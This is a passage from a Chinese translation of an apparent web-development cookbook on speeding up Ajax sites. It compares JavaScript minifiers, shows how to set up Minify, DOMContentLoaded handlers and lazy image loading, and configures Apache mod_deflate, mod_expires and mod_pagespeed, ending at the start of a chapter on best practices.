在 Internet Explorer 中使用过滤器来处理 PNG 文件是很常见的,但是使用过滤器通常会减慢页面速度。解决方案是使用 IE 已经支持的 PNG8 文件。

  1. 不要在 HTML 中缩放图像:

使用大图像并将其缩小,使用“高度”和“宽度”属性并不是明智的选择。这会迫使浏览器加载大图像,即使它们必须以较小的尺寸显示。解决方案是在服务器级别调整图像大小。

  1. 使favicon.ico图标小且可缓存:

与图像类似,favicon 图标的大小必须小且可缓存。

它是如何工作的...

YSlow 内置支持 JavaScript 代码最小化和通过 Yahoo!的 Smush 进行图像压缩。这是一个网络服务。它还有一个代码美化工具,可以帮助我们以格式化的方式查看 JavaScript 源代码,如下面的屏幕截图所示:

它是如何工作的...

报告及其有用的提示帮助我们寻找性能基础设施,如 CDN、无 cookie 的静态内容传递等。注意:这需要开发人员额外的努力来修复问题。

还有更多...

谷歌的 Page Speed 扩展可以在code.google.com/speed/page-speed/docs/extension.html下载,它提供类似的速度诊断和自动建议。在下面的屏幕截图中,我们可以看到它是如何在www.packtpub.com/网站上执行的,它提供了速度得分和建议:

还有更多...

谷歌在速度诊断方面的倡议并不令人意外,因为页面速度可能会影响其搜索引擎爬虫;请记住,网站速度是谷歌 PageRankTM 中的决定性因素之一。YSlow 对页面进行从 A 到 F 的评分,而 Page Speed 提供一个 0 到 100 的分数。这两个插件使用类似的规则集来提供优化建议。

通过自动压缩和浏览器缓存加快 JavaScript 交付速度

JavaScript 最初是一种解释语言,但 V8 和 JIT 编译器现在正在取代解释器。V8 JavaScript 引擎最初是在 Google Chrome 和 Chromium 中引入的,它将 JavaScript 编译为本机机器代码。随着 Web 的不断发展,可能会有更强大的 JavaScript 编译器出现。

无论浏览器是否具有编译器或解释器,JavaScript 代码都必须在客户端机器上下载后才能执行。这需要更快的下载,这反过来意味着更少的代码大小。实现更少的代码空间和更快加载的最快和最常见的方法是:

  • 去除空格、换行和注释——这可以通过 JSMin、Packer、Google Closure 编译器等最小化工具实现。

  • 通过gzip进行代码压缩——所有现代浏览器都支持gzip内容编码,这允许内容以压缩格式从服务器传输到客户端;这反过来减少了需要下载的字节数,并提高了加载时间。

  • 浏览器缓存以避免每次请求都下载脚本——我们可以强制将静态脚本在浏览器中缓存一段时间。这将避免不必要的往返。

在这个教程中,我们将快速比较 JavaScript 最小化工具,然后看看如何应用它们。

准备就绪

为了比较,我们需要以下最小化工具:

对于 JavaScript 和 CSS 的自动最小化,我们将使用 Minify PHP 应用程序来自github.com/mrclay/minify

为了比较最小化工具,让我们看看以下代码片段,重量为931字节。请注意,此代码包含注释、空格、换行和较长的变量和函数名称:

/**
* Calculates the discount percentage for given price and discounted price
* @param (Number) actual_price Actual price of a product
* @param (Number) discounted_price Discounted price of a product
* @return (Number) Discount percentage
*/
function getDiscountPercentage(actual_price, discounted_price) {
var discount_percentage = 100 * (actual_price - discounted_price)/ actual_price;
return discount_percentage;

alert(discount_percentage); //unreachable code
}
// Let's take the book1's properties and find out the discount percentage...
var book1_actual_price = 50;
var book1_discounted_price = 48;
alert(getDiscountPercentage(book1_actual_price, book1_discounted_price));
// Let's take the book2's properties and find out the discount percentage...
var book2_actual_price = 45;
var book2_discounted_price = 40;
alert(getDiscountPercentage(book2_actual_price, book2_discounted_price));

  1. JSMin 由 Douglas Crockford 创建。

输出:

function getDiscountPercentage(actual_price,discounted_price){var discount_percentage=100*(actual_price-discounted_price)/actual_price;return discount_percentage;alert(discount_percentage);}var book1_actual_price=50;var book1_discounted_price=48;alert(getDiscountPercentage(book1_actual_price,book1_discounted_price));var book2_actual_price=45;var book2_discounted_price=40;alert(getDiscountPercentage(book2_actual_price,book2_discounted_price));

  1. JSMin+由 Tweakers.net(基于 Narcissus JavaScript 引擎)。

输出:

function getDiscountPercentage(actual_price,discounted_price){var discount_percentage=100*(actual_price-discounted_price)/actual_price;return discount_percentage;alert(discount_percentage)};var book1_actual_price=50,book1_discounted_price=48;alert(getDiscountPercentage(book1_actual_price,book1_discounted_price));var book2_actual_price=45,book2_discounted_price=40;alert(getDiscountPercentage(book2_actual_price,book2_discounted_price))

  1. Dean Edwards 的 Packer。

输出:

function getDiscountPercentage(a,b){var c=100*(a-b)/a;return c;alert(c)}var book1_actual_price=50;var book1_discounted_price=48;alert(getDiscountPercentage(book1_actual_price,book1_discounted_price));var book2_actual_price=45;var book2_discounted_price=40;alert(getDiscountPercentage(book2_actual_price,book2_discounted_price));

使用 Base62 编码选项输出(混淆代码):

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('7 1(a,b){0 c=8*(a-b)/a;9 c;2(c)}0 3=d;0 4=e;2(1(3,4));0 5=f;0 6=g;2(1(5,6));',17,17,'var|getDiscountPercentage|alert|book1_actual_price|book1_discounted_price|book2_actual_price|book2_discounted_price|function|100|return||||50|48|45|40'.split('|'),0,{}))

  1. YUI Compressor。

输出:

function getDiscountPercentage(b,c){var a=100*(b-c)/b;return a;alert(a)}var book1_actual_price=50;var book1_discounted_price=48;alert(getDiscountPercentage(book1_actual_price,book1_discounted_price));var book2_actual_price=45;var book2_discounted_price=40;alert(getDiscountPercentage(book2_actual_price,book2_discounted_price));

  1. Google Closure Compiler。

输出:

function getDiscountPercentage(a,b){return 100*(a-b)/a}var book1_actual_price=50,book1_discounted_price=48;alert(getDiscountPercentage(book1_actual_price,book1_discounted_price));var book2_actual_price=45,book2_discounted_price=40;alert(getDiscountPercentage(book2_actual_price,book2_discounted_price));

  1. UglifyJS。

输出:

function getDiscountPercentage(a,b){var c=100*(a-b)/a;return c}var book1_actual_price=50,book1_discounted_price=48;alert(getDiscountPercentage(book1_actual_price,book1_discounted_price));var book2_actual_price=45,book2_discounted_price=40;alert(getDiscountPercentage(book2_actual_price,book2_discounted_price))

931 字节 JavaScript 代码的表格化结果如下:

工具 删除无法到达的代码 压缩大小(字节) 代码节省
JSMin 由 Douglas Crockford 446 52.09%
JSMin+由 Tweakers.net 437 53.06%
Packer 由 Dean Edwards Normal 328 64.77%
使用 Base62 编码 515 44.68%
YUI Compressor 328 64.77%
Google Closure Compiler 303 67.45%
UglifyJS 310 66.70%

所有这些工具都会去除空格、换行和不必要的注释,以减少 JavaScript 的大小。Dean Edwards 的 Packer 既有代码混淆又有最小化组件。它的 Base62 编码或代码混淆不建议使用,因为解包必须在浏览器中进行,因此会有很大的开销。

YUI Compressor 的压缩相对较好,因为它使用 Java Rhino 引擎来分析代码。Google Closure Compiler 看起来非常有前途,因为它有一个内置的编译器,可以检测到无法到达的代码,并进一步优化代码。UglifyJS 更快,因为它是用Node.js编写的。如前文所示,无论是 UglifyJS 还是 Google Closure Compiler 都可以删除无法到达的代码以改善代码最小化。

如何做…

来自github.com/mrclay/minifyMinify应用程序可用于自动化以下操作:

  • 代码最小化

  • 通过gzip压缩

  • 通过Last-ModifiedETag HTTP 头进行浏览器缓存

我们必须将 Minify 应用程序的min文件夹放在文档根目录下。该文件夹包含以下内容:

  • index.php: 交付最小化代码的前端脚本

  • config.php:Minify 应用程序的设置文件

  • groupConfig.php:命名可以轻松压缩的文件组的设置文件

config.php中,我们必须指定我们选择的压缩工具,如下所示:

$min_serveOptions['minifiers']['application/x-javascript'] = array('Minify_JS_ClosureCompiler', 'JSMinPlus');

前面代码片段中显示的设置将首先尝试使用 Google 的 Closure 编译器,在任何错误时将使用 JSMinPlus 库。

有了这些配置,只需从以下更改 JavaScript,包括语法:

<script type="text/javascript" src="/script1.js"></script>
<script type="text/javascript" src="/script2.js"></script>
<script type="text/javascript" src="/script3.js"></script>

到:

<script type="text/javascript" src="/min/?f=script1.js,script2.js,script3.js"></script>

这将实现以下目标:

  • 组合script1.js,script2.jsscript3.js

  • 压缩组合脚本

  • 自动处理gzip内容编码

  • 自动处理浏览器缓存

当有大量文件需要压缩时,我们可以利用groupConfig.php将文件分组到一个键中,如下所示:

return array(
'js' => array('//script1.js', '//script2.js', '//script2.js')
);

我们可以通过键名简单地将它们引用到g查询字符串中,如下所示:

<script type="text/javascript" src="/min/?g=js"></script>

它是如何工作的...

前端index.php脚本通过查询字符串g接收要压缩的文件。然后,逗号分隔的文件通过我们选择的压缩库进行合并和压缩:

$min_serveOptions['minifiers']['application/x-javascript'] = array('Minify_JS_ClosureCompiler', 'JSMinPlus');

为了提高未来交付的性能,Minify 应用程序将以下版本存储到其缓存中:

  • 合并压缩的 JavaScript 文件

  • 合并压缩的 JavaScript 文件的 gzip 版本

存储在其缓存中的文件用于避免在压缩库上重复处理 JavaScript 文件。该应用程序还处理Accept-Encoding HTTP 标头,从而检测客户端浏览器对gzip、deflate 和传递相应内容的偏好。

该应用程序的另一个有用功能是设置Last-ModifiedETag HTTP 标头。这将使脚本在浏览器端进行缓存。只有在时间戳或内容发生变化时,Web 服务器才会向浏览器提供完整的脚本。因此,它节省了大量下载,特别是静态 JavaScript 文件内容。

请注意,jQuery 的 Ajax 方法默认情况下避免对脚本和jsonp数据类型的 Ajax 请求进行缓存。为此,它在查询字符串中附加了_=[timestamp]。当我们想要强制缓存时,我们必须显式启用它,这将禁用时间戳附加。操作如下:

$.ajax({
url: "script.js",
dataType: "script",
cache: true
});

还有更多...

我们还有一些用于检查和加速交付选项的服务和应用程序。

比较 JavaScript 压缩工具

可以使用compressorrater.thruhere.net/上找到的基于 Web 的服务来比较许多压缩工具,从而我们可以为我们的代码选择合适的工具。

自动加速工具

对于自动加速,我们可以使用:

  • 来自aciddrop.com/php-speedy/的 PHP Speedy 库;它类似于 Minify 应用程序。

  • 来自 Google 的mod_pagespeed Apache 模块。在本章的通过 Apache 模块/Google mod_pagespeed 自动优化 Ajax 应用程序中有解释。

尽早触发 JavaScript/在 DOM 加载时

在具有容器和动画的 Web 2.0 网站中,我们希望 JavaScript 代码尽快执行,以便用户在应用隐藏、显示或动画效果时不会看到闪烁效果。此外,当我们通过 JavaScript 或 JavaScript 框架处理任何事件时,我们希望诸如单击、更改等事件尽快应用于 DOM。

准备工作

早期,JavaScript 开发人员将 JavaScript 和 HTML 混合在一起。这种做法称为内联脚本。随着 Web 的发展,出现了更多的标准和实践。不侵入式 JavaScript实践通常意味着 JavaScript 代码与标记代码分开,并且 JavaScript 以不侵入式的方式处理。

以下是一些快速编写的代码,用于在单击名称字段时向用户发出消息输入您的姓名!

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<title>Inline JavaScript</title>
</head>
<body>
<form method="post" action="action.php">
<fieldset>
<legend>Bio</legend>
<label for="name">Name</label><br />
<input type="text" id="name" onclick=
"alert('Enter your name!')" /><br />

<input type="submit" value="Submit" />
</fieldset>
</form>
</body>
</html>

如前面的代码所示,JavaScript 是在input标记内部编写和混合的。

内联 JavaScript 方法存在一些问题,例如:

  • JavaScript 代码无法被缓存。如果我们使用单个 JavaScript 文件(一个被压缩、gzipped并具有适当的 HTTP 标头以在浏览器中缓存的文件),我们可以感受到速度的提升。

  • 代码不能轻易维护,特别是如果有许多程序员在同一个项目上工作。对于每个 JavaScript 功能,HTML 代码都必须更改。

  • 网站可能存在可访问性问题,因为 JavaScript 代码可能会阻止非 JavaScript 设备上的功能。

  • HTML 脚本大小增加。如果由于动态内容等原因 HTML 不应该被缓存,这将影响页面的速度。

如何做到...

可以通过将 JavaScript 代码移动到<head>标记来实现 JavaScript 的分离。最好将 JavaScript 代码移动到一个单独的外部文件中,并在<head>标记中进行链接。

在下面的代码中,我们尝试将 JavaScript 代码与前面的清单分离如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<script type="text/javascript" src="script.js">
</script>
<title>Unobtrusive JavaScript</title>
</head>
<body>
<form method="post" action="action.php">
<fieldset>
<legend>Bio</legend>
<label for="name">Name</label><br />
<input type="text" id="name" /><br />
<input type="submit" value="Submit" />
</fieldset>
</form>
</body>
</html>

在 JavaScript 代码中,我们添加了以下代码片段:

window.onload = function(){
document.getElementById('name').onclick = function(){
alert('Enter your name!');
}
}

如前面的代码片段所示,我们通过document.getElementById('name')引用元素来附加了click事件。请注意,我们还将其包装在window.onload下;否则,document.getElementById('name')将不可用。这是因为<head>标记中的脚本在 DOM 准备就绪之前首先执行。window.onload确保在文档完全下载并可用时执行代码。

它是如何工作的...

onload事件的问题在于它只会在文档和相关文件(如 CSS 和图像)下载完成时触发。当页面包含任何大型图像文件或内容时,它会显著减慢 JavaScript 代码的触发速度。因此,当我们必须将任何事件附加到任何元素(如前面的代码所示),或者在页面加载期间隐藏任何div容器时,它不会按预期工作。用户将根据其下载速度看到一个无响应或闪烁的网站。

DOMContentLoaded 和解决方法

幸运的是,基于 Gecko 的浏览器,如 Mozilla Firefox,有一个特殊的事件称为DOMContentLoaded。该事件将在 DOM 准备就绪时触发,而在图像、样式表和子框架完全下载之前。将 JavaScript 代码包装在DOMContentLoaded事件中将改善用户体验,因为 JavaScript 将在 DOM 准备就绪时立即触发。

使用DOMContentLoaded事件的修改后的代码如下:

document.addEventListener('DOMContentLoaded',function(){
document.getElementById('name').addEventListener('click', function(){
alert('Enter your name!');
},false);
},false);

DOMContentLoaded事件首次在 Mozilla 的版本 1 中引入,最近其他浏览器(包括 Internet Explorer 版本 9)也开始支持它。由于它也是 HTML5 规范的一部分,更多的浏览器可能很快开始支持它。在那之前,有很多DOMContentLoaded的解决方法。例如,jQuery 的ready函数是为了支持许多浏览器而做出的努力。以下代码显示了如何使用浏览器兼容性(在 jQuery 中)重新编写前面的代码:

jQuery(document).ready(function($){
$('#name').click(function(){
alert('Enter your name!');
});
});

还有更多...

即使我们对DOMContentLoaded事件使用了与浏览器兼容的 hack,也可能存在一些情况,这些 hack 可能无法按预期工作。在这种情况下,我们可以通过将初始化脚本放置在</body>标记之前来触发load函数。

图像的延迟加载

当加载大量图像时,它会减慢客户端浏览器;太多的图像请求甚至会减慢 Web 服务器。一个常见的方法是分割页面并平均分配图像和内容。另一种方法是利用 JavaScript 的功能,并在客户端级别避免不必要的图像请求。后一种技术称为延迟加载。在延迟加载中,图像请求被阻止,直到图像进入浏览器视口,也就是说,直到用户实际看到图像。

准备工作

我们需要一个较长的图像库页面来查看页面上大量图像对加载体验的影响。然后,我们必须在懒加载实现的不同方法之间做出决定。

如何做到...

我们可以通过以下方法解决懒加载问题:

  • 纯 JavaScript

  • 篡改的 HTML 标记

纯 JavaScript 方法

在这种方法中,图像不会在 HTML 中引用;它们只会在 JavaScript 中引用——要么是硬编码的,要么是从 JSON URL 加载的。图像元素将会动态形成,如下面的代码所示:

// create img element
var img = document.createElement('img');
img.src = '/foo.jpg';
img.height = 50;
img.width = 100;
// append the img element to 'container' element
var container = document.getElementById('container');
container.appendChild(img);

这种方法的问题在于图像在 HTML 标记中没有定义,因此在不支持 JavaScript 的设备上无法工作。因此,这最终违反了可访问性标准。纯 JavaScript 应用程序在搜索引擎中难以索引,如果应用程序的营销基于SEO(即搜索引擎优化),这种方法将无法起作用。

篡改的 HTML 标记

另一种方法是将实际图像放在relalt属性中,并动态形成src属性。当图像必须在从relalt设置值后显示时,才会执行此操作。部分 HTML 标记和 JavaScript 如下:

<img alt="/foo.jpg" />
<img alt="/bar.jpg" />
$('img').each(function(){
$(this).attr('src', $(this).attr('alt')); // assign alt data to src
});

请注意,篡改的 HTML 标记方法仍然不是一种整洁和可访问的方法。

它是如何工作的...

前面的方法不符合渐进增强原则,并且在 JavaScript 引擎不可用或关闭时停止显示图像。根据渐进增强方法,HTML 标记不应更改。当 DOM 准备就绪时,图像视口外的src属性将被动态篡改,以使图像不会被下载。篡改图像src属性以停止下载的部分代码如下:

<img src="/foo.jpg" />
<img src="/bar.jpg" />
$('img').each(function(){
$(this).attr('origSrc',$(this).attr('src')); // assign src data to origSrc
$(this).removeAttr('src'); // then remove src
});

当需要加载图像时,使用以下代码片段:

$('img').each(function(){
$(this).attr('src', $(this).attr('origSrc')); // assign origSrc data to src
});

尽管(到目前为止)这是最好的方法,尽管很容易通过任何 JavaScript 片段引入懒加载,但一些最新的浏览器在 DOM 准备好之前就开始下载图像。因此,这种方法并不适用于所有最新的浏览器。随着 Web 的发展,这种功能可能会在不久的将来直接添加到浏览器中。

还有更多...

我们有许多懒加载插件。我们还可以采用类似的方法——延迟脚本加载技术——来加载外部脚本。

懒加载插件

一些流行 JavaScript 框架可用的图像懒加载插件如下:

懒惰/延迟脚本加载

虽然懒惰/延迟脚本加载与图像懒加载功能并不直接相关,但可以与上述技术结合,以获得更好的加载体验。当 JavaScript 文件通常链接在<head>标签中时,当脚本被执行时,Web 浏览器将暂停解析 HTML 代码。这种行为会使浏览器暂停一段时间,因此用户会感受到速度变慢。之前的建议是将脚本链接放在</body>标签之前。HTML5 引入了script标签的async属性;当使用时,浏览器将继续解析 HTML 代码,并在下载后执行脚本。脚本加载是异步的。

由于 Gecko 和基于 WebKit 的浏览器支持async属性,因此以下语法有效:

<script type="text/javascript" src="foo.js" async></script>

对于其他浏览器,async仅在通过 DOM 注入时起作用。这是使用 DOM 注入的 Google Analytics 代码,以使所有浏览器中的异步加载可行:

<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-XXXXX-X']);
_gaq.push(['_trackPageview']);
(function(){
var ga = document.createElement('script');
ga.type = 'text/javascript';

ga.async = true;
ga.src = ('https:'==document.location.protocol?'https://ssl':'http://www')+'.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0];
s.parentNode.insertBefore(ga,s);
})();
</script>

当用于外部脚本时,例如 Google Analytics、Facebook 库等,这将提高加载速度。

通过 Apache 模块/Google mod_pagespeed 自动优化 Ajax 应用程序

自动优化 Ajax 应用程序-无需手动努力-是任何开发人员最想要的工具。为此目的发明了一些工具。在这个配方中,我们将看到一些这样的自动工具。

准备就绪

我们需要一个在 Apache Web 服务器上运行的 Web 应用程序。对于自动优化,我们需要以下 Apache 模块:

如何操作...

我们必须安装这些模块,然后为它们设置配置,以自动处理请求。我们将看到每个模块的配置:

  1. mod_deflate:

要启用 JavaScript、CSS 和 HTML 代码的自动 gzip 处理,我们可以使用 AddOutputFilterByType 并指定它们的 MIME 类型:

<IfModule mod_deflate.c>
AddOutputFilterByType
DEFLATE application/javascript text/css text/html
</IfModule>

  1. mod_expires:

要在静态内容上启用自动浏览器缓存,例如 JavaScript、CSS、图像文件、SWF 文件和 favicon,我们可以指定它们的 MIME 类型和过期时间,如下所示:

<IfModule mod_expires.c>
FileETag None
ExpiresActive On
ExpiresByType application/javascript "access plus 1 month"
ExpiresByType text/css "access plus 1 month"
ExpiresByType image/gif "access plus 1 month"
ExpiresByType image/jpeg "access plus 1 month"
ExpiresByType image/png "access plus 1 month"
ExpiresByType application/x-shockwave-flash
"access plus 1 month"
# special MIME type for icons
AddType image/vnd.microsoft.icon .ico
# now we have icon MIME type, we can use it
ExpiresByType image/vnd.microsoft.icon "access plus 3 months"
</IfModule>

在上述代码片段中,我们已经为图标文件注册了一个 MIME 类型,并且使用了 MIME 类型,我们已经设置了三个月的过期时间。这主要是针对 favicon 文件。对于静态内容,我们可以安全地设置 1 到 6 个月或更长的过期时间。上述代码将通过Last-Modified标头处理浏览器缓存,而不是通过 ETag,因为我们已经禁用了 ETag 支持。YSlow 建议我们完全禁用 ETag,以减少 HTTP 请求标头的大小。

注意

ETag据称现在被误用来唯一标识用户,因为许多用户出于隐私原因禁用了 cookie。因此,有努力在浏览器中禁用 ETag。

  1. mod_pagespeed:

mod_pagespeed Apache 模块是 Google 的页面速度倡议。Google 的倡议始于 Page Speed Firefox 扩展,类似于 YSlow。这是一个旨在找出瓶颈并提出建议的页面速度诊断工具。目前,Page Speed 扩展也适用于 Chrome。

现在,Page Speed 诊断工具可以作为基于 Web 的服务在pagespeed.googlelabs.com/上使用,因此我们可以在不安装浏览器插件的情况下进行速度诊断。

Google 在这个领域的杰出努力的一个例子是发明了mod_pagespeed Apache 扩展,通过优化资源通过重写 HTML 内容自动执行速度建议。当正确配置时,它可以最小化、gzip、转换 CSS 精灵,并处理 Page Speed 浏览器扩展提供的许多其他建议。

当我们在 PageSpeed 中启用仪器时,它将注入跟踪器 JavaScript 代码,并将通过mod_pagespeed动态添加的信标图像进行跟踪。通过访问服务器中的/mod_pagespeed_statistics页面,我们可以找到有关使用情况的统计信息。

以下是要放置在pagespeed.conf文件中的pagespeed_module的快速配置代码:

LoadModule pagespeed_module /usr/lib/httpd/modules/mod_pagespeed.so
# Only attempt to load mod_deflate if it hasn't been loaded already.
<IfModule !mod_deflate.c>
LoadModule deflate_module /usr/lib/httpd/modules/mod_deflate.so
</IfModule>
<IfModule pagespeed_module>
ModPagespeed on
AddOutputFilterByType MOD_PAGESPEED_OUTPUT_FILTER text/html
# The ModPagespeedFileCachePath and
# ModPagespeedGeneratedFilePrefix directories must exist and be
# writable by the apache user (as specified by the User
# directive).
ModPagespeedFileCachePath "/var/mod_pagespeed/cache/"
ModPagespeedGeneratedFilePrefix "/var/mod_pagespeed/files/"
# Override the mod_pagespeed 'rewrite level'. The default level
# "CoreFilters" uses a set of rewrite filters that are generally
# safe for most web pages. Most sites should not need to change
# this value and can instead fine-tune the configuration using the
# ModPagespeedDisableFilters and ModPagespeedEnableFilters
# directives, below. Valid values for ModPagespeedRewriteLevel are
# PassThrough and CoreFilters.
#
ModPagespeedRewriteLevel CoreFilters
# Explicitly disables specific filters. This is useful in
# conjuction with ModPagespeedRewriteLevel. For instance, if one
# of the filters in the CoreFilters needs to be disabled for a
# site, that filter can be added to
# ModPagespeedDisableFilters. This directive contains a
# comma-separated list of filter names, and can be repeated.
#
# ModPagespeedDisableFilters rewrite_javascript
# Explicitly enables specific filters. This is useful in
# conjuction with ModPagespeedRewriteLevel. For instance, filters
# not included in the CoreFilters may be enabled using this
# directive. This directive contains a comma-separated list of
# filter names, and can be repeated.
#
ModPagespeedEnableFilters combine_heads
ModPagespeedEnableFilters outline_css,outline_javascript
ModPagespeedEnableFilters move_css_to_head
ModPagespeedEnableFilters convert_jpeg_to_webp
ModPagespeedEnableFilters remove_comments
ModPagespeedEnableFilters collapse_whitespace
ModPagespeedEnableFilters elide_attributes
ModPagespeedEnableFilters remove_quotes
# Enables server-side instrumentation and statistics. If this rewriter is
# enabled, then each rewritten HTML page will have instrumentation javacript
# added that sends latency beacons to /mod_pagespeed_beacon. These
# statistics can be accessed at /mod_pagespeed_statistics. You must also
# enable the mod_pagespeed_statistics and mod_pagespeed_beacon handlers
# below.
#
ModPagespeedEnableFilters add_instrumentation
# ModPagespeedDomain
# authorizes rewriting of JS, CSS, and Image files found in this
# domain. By default only resources with the same origin as the
# HTML file are rewritten. For example:
#
# ModPagespeedDomain cdn.myhost.com
#
# This will allow resources found on http://cdn.myhost.com to be
# rewritten in addition to those in the same domain as the HTML.
#
# Wildcards (* and ?) are allowed in the domain specification. Be
# careful when using them as if you rewrite domains that do not
# send you traffic, then the site receiving the traffic will not
# know how to serve the rewritten content.
ModPagespeedDomain *
ModPagespeedFileCacheSizeKb 102400
ModPagespeedFileCacheCleanIntervalMs 3600000
ModPagespeedLRUCacheKbPerProcess 1024
ModPagespeedLRUCacheByteLimit 16384
ModPagespeedCssInlineMaxBytes 2048
ModPagespeedImgInlineMaxBytes 2048
ModPagespeedJsInlineMaxBytes 2048
ModPagespeedCssOutlineMinBytes 3000
ModPagespeedJsOutlineMinBytes 3000
ModPagespeedImgMaxRewritesAtOnce 8
# This handles the client-side instrumentation callbacks which are injected
# by the add_instrumentation filter.
# You can use a different location by adding the ModPagespeedBeaconUrl
# directive; see the documentation on add_instrumentation.
#
<Location /mod_pagespeed_beacon>
SetHandler mod_pagespeed_beacon
</Location>
# This page lets you view statistics about the mod_pagespeed module.
<Location /mod_pagespeed_statistics>
Order allow,deny
# You may insert other "Allow from" lines to add hosts you want to
# allow to look at generated statistics. Another possibility is
# to comment out the "Order" and "Allow" options from the config
# file, to allow any client that can reach your server to examine
# statistics. This might be appropriate in an experimental setup or
# if the Apache server is protected by a reverse proxy that will
# filter URLs in some fashion.
Allow from localhost
SetHandler mod_pagespeed_statistics
</Location>
</IfModule>

工作原理...

作为 Apache 的模块,这些模块在 Apache 级别处理优化。这意味着我们不必修改任何 PHP 或 JavaScript 代码。

  1. mod_deflate:

mod_deflate作用于指定的内容类型。每当应用程序命中指定的内容类型时,它会处理文件并根据浏览器请求进行 gzip 处理。

  1. mod_expires:

此模块还根据配置设置进行操作。它可以根据内容类型或文件扩展名进行处理。配置正确后,它将添加Last-Modified标头以避免缓存资源。根据每天的总点击量,它可以显着避免下载静态内容资源以加快站点加载速度。

  1. mod_pagespeed:

由于此模块通过重写来优化 HTML 代码,因此需要在服务器上缓存文件。路径必须在pagespeed.conf配置文件中配置。重写设置通过ModPagespeedRewriteLevel进行调整,默认设置为CoreFilters。使用 CoreFilters,以下过滤器将自动启用:

  • add_head:如果尚未存在,则向文档添加<head>元素。

  • combine_css:将多个 CSS 元素合并为一个。

  • rewrite_css:重写 CSS 文件以删除多余的空白和注释。

  • rewrite_javascript:重写 JavaScript 文件以删除多余的空白和注释。

  • inline_css:将小的 CSS 文件嵌入到 HTML 中。

  • inline_javascript将小的 JavaScript 文件嵌入到 HTML 中。

  • rewrite_images:优化图像,重新编码它们,删除多余的像素,并将小图像嵌入。

  • insert_image:rewrite_images隐含。向缺少宽度和高度属性的<img>标签添加宽度和高度属性。

  • inline_images:rewrite_images隐含。用内联数据替换小图像。

  • recompress_images:rewrite_images隐含。重新压缩图像,删除多余的元数据,并将 GIF 图像转换为 PNG。

  • resize_images:rewrite_images隐含。当相应的<img>标签指定的宽度和高度小于图像大小时,调整图像大小。

  • extend_cache:通过使用内容哈希签名 URL,延长所有资源的缓存寿命。

  • trim_urls:通过使它们相对于基本 URL 来缩短 URL。

还有一些其他未在CoreFilters中启用的过滤器:

  • combine_heads:将文档中找到的多个<head>元素合并为一个。

  • strip_scripts:从文档中删除所有脚本标记,以帮助运行实验。

  • outline_css:将大块的 CSS 外部化为可缓存的文件。

  • outline_javascript:将大块的 JavaScript 外部化为可缓存的文件。

  • move_css_to_head:将所有 CSS 元素移动到<head>标记中。

  • make_google_analytics_async:将 Google Analytics API 的同步使用转换为异步使用。

  • combine_javascript:将多个脚本元素合并为一个。

  • convert_jpeg_to_webp:向兼容的浏览器提供 WebP 而不是 JPEG。WebP,发音为'weppy',是谷歌推出的一种图像格式,它比 JPEG 具有更好的压缩效果而不会影响质量。

  • remove_comments:删除 HTML 文件中的注释,但不包括内联 JS 或 CSS。

  • collapse_whitespace:除了<pre>, <script>, <style><textarea>内部之外,删除 HTML 文件中的多余空白。

  • elide_attributes:根据 HTML 规范删除不重要的属性。

  • rewrite_domains:根据pagespeed.conf中的ModPagespeedMapRewriteDomainModPagespeedShardDomain设置,重写mod_pagespeed未触及的资源的域。

  • remove_quotes:删除不是词法上必需的 HTML 属性周围的引号。

  • add_instrumentation:向页面添加 JavaScript 以测量延迟并发送回服务器。

可以通过ModPagespeedEnableFilters启用这些过滤器。同样,可以通过ModPagespeedDisableFilters禁用在 CoreFilters 中启用的任何过滤器。我们必须注意,由于此模块重写所有页面,服务器会有轻微的开销。我们可以选择性地禁用过滤器,并手动修改我们的 HTML 代码,以便进行重写。

如果我们所有的页面都是静态的,随着时间的推移,我们可以用缓存中可用的重写 HTML 代码替换 HTML 文件。然后我们可以完全禁用这个模块,以避免 CPU 开销。这个模块也是一个很好的学习工具,我们可以学习需要在 HTML、JavaScript 和 CSS 中进行哪些改变以提高性能。

还有更多...

为了检查我们是否正确配置了模块,或者检查性能,有一些在线服务可用。

测试 HTTP 头

为了确保我们启用的gzip和浏览器缓存正常工作,我们可以使用:

  • 使用 Firefox 扩展 Firebug 的 Net 标签来手动分析 HTTP 头

  • 使用 YSlow 和 PageSpeed 扩展来检查等级/分数

  • 一个基于网页的服务,可在www.webpagetest.org/上使用,提供类似于 YSlow 和 Page Speed 的建议

  • 一个基于网页的服务,可在redbot.org/上使用,用于分析 HTTP 头,可能是最简单的选择。

在不安装 mod_pagespeed 的情况下进行测试

使用www.webpagetest.org/compare上的在线服务,我们可以快速测试通过安装mod_pagespeed可能获得的速度改进。视频功能可以实时反馈差异。

页面速度服务

谷歌提供了网页速度服务。如果我们使用这项服务,就不需要在服务器上安装mod_pagespeed。服务器上唯一需要更改的是将DNS CNAME条目指向ghs.google.com

第七章:实施构建 Ajax 网站的最佳实践

在本章中,我们将涵盖:

  • 避免 HTML 标记特定编码

  • 构建安全的 Ajax 网站

  • 构建搜索引擎优化(SEO)友好的 Ajax 网站

  • 保留浏览器历史记录或修复浏览器的后退按钮

  • 实施彗星 PHP 和 Ajax

完成一件事是一回事,正确完成一件事是另一回事。JavaScript 程序员经常追求最佳实践。随着 UI 编程的流行,它需要更好的组织和实践。在本章中,我们将看到一些常见的最佳实践。

避免 HTML 标记特定编码

在无侵入式 JavaScript 方法中,基于选择器的框架(如 jQuery)起着重要作用,HTML 内容与 JavaScript 之间的交互是通过 CSS 选择器完成的。

做好准备

假设我们有一个 ID 为alert的容器,我们的意图是隐藏它及其相邻元素-也就是隐藏其父元素的所有元素:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html >
<head>
<script type="text/javascript" src="jquery.min.js">
</script>
<script type="text/javascript" src="markup-dependent.js">
</script>
<title>Markup dependent jQuery</title>
</head>
<body>
<div>
